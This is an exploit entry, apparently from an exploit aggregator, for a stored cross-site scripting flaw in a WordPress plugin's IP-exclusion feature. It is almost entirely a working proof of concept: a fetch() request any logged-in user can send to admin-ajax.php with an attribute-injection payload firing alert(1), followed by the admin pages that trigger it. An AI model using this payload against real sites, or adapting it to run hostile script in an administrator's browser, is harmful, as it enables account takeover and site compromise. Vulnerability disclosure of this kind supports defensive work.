Share
## https://sploitus.com/exploit?id=WPEX-ID:05B9E478-2D3B-4460-88C1-7F81D3A68AC4
As any logged-in user:
fetch("http://example.com/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"body": new URLSearchParams({"action":"updateIpAddress","ip":'" style=animation-name:rotation onanimationstart=alert(1) x'}),
"method": "POST",
"credentials": "include"
})
.then(response => response.text())
.then(data => console.log(data));
Then (as admin) browse to https://example.com/wp-admin/admin.php?page=wsm_settings#ipexclusion or https://example.com/wp-admin/admin.php?page=wsm_ipexc